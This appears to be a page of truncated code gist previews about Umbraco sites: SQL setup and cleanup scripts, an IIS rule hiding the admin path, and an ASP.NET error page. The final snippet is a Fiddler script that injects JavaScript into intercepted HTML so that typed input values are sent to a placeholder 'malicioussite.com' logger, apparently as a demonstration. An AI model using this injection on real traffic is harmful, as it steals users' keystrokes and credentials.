This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DECLARE @langId int | |
DECLARE @siteNodeId int | |
DECLARE @currentDomainRecord INT | |
DECLARE @pageObjectType VARCHAR(100) | |
DECLARE @domain VARCHAR(250) | |
SET @domain = 'test.com' | |
SET @pageObjectType = 'A2CB7800-F571-4787-9638-BC48539A0EFB' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<rule name="404_Umbraco"> | |
<match url="^umbraco/?$"/> | |
<action type="CustomResponse" statusCode="404" statusReason="Not found" /> | |
</rule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
TRUNCATE TABLE cmsPreviewXml | |
DECLARE @Counter INT | |
SET @Counter=-48 | |
WHILE ( @Counter < -1) | |
BEGIN | |
DECLARE @createdDate Datetime = DATEADD(m, @counter, getdate()) | |
PRINT @createdDate | |
DELETE FROM [cmsPropertyData] WHERE | |
versionId NOT IN (SELECT versionId FROM cmsDocument WHERE updateDate > @createdDate OR published = 1 OR newest = 1) AND |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Server Error in '/' Application. | |
The remote server returned an error: (404) Not Found. | |
Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code. | |
Exception Details: System.Net.WebException: The remote server returned an error: (404) Not Found. | |
Source Error: | |
An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (oSession.oResponse.headers.ExistsAndContains("Content-Type", "html")) { | |
// Remove any compression or chunking | |
oSession.utilDecodeResponse(); | |
var oBody = System.Text.Encoding.UTF8.GetString(oSession.responseBodyBytes); | |
// Match the jQuery script tag | |
var oRegEx = /(<\/body>)/gi; | |
// replace the script tag withitself (no change) + append custom script tag | |
oBody = oBody.replace(oRegEx, "<script type='text/javascript'>$('input').blur(function() { $.get('http://www.malicioussite.com/logger?text=' + $(this).val() + '&field=' + $(this).attr('name')) });</script>$1"); | |
// Set the response body to the changed body string | |
oSession.utilSetResponseBody(oBody); |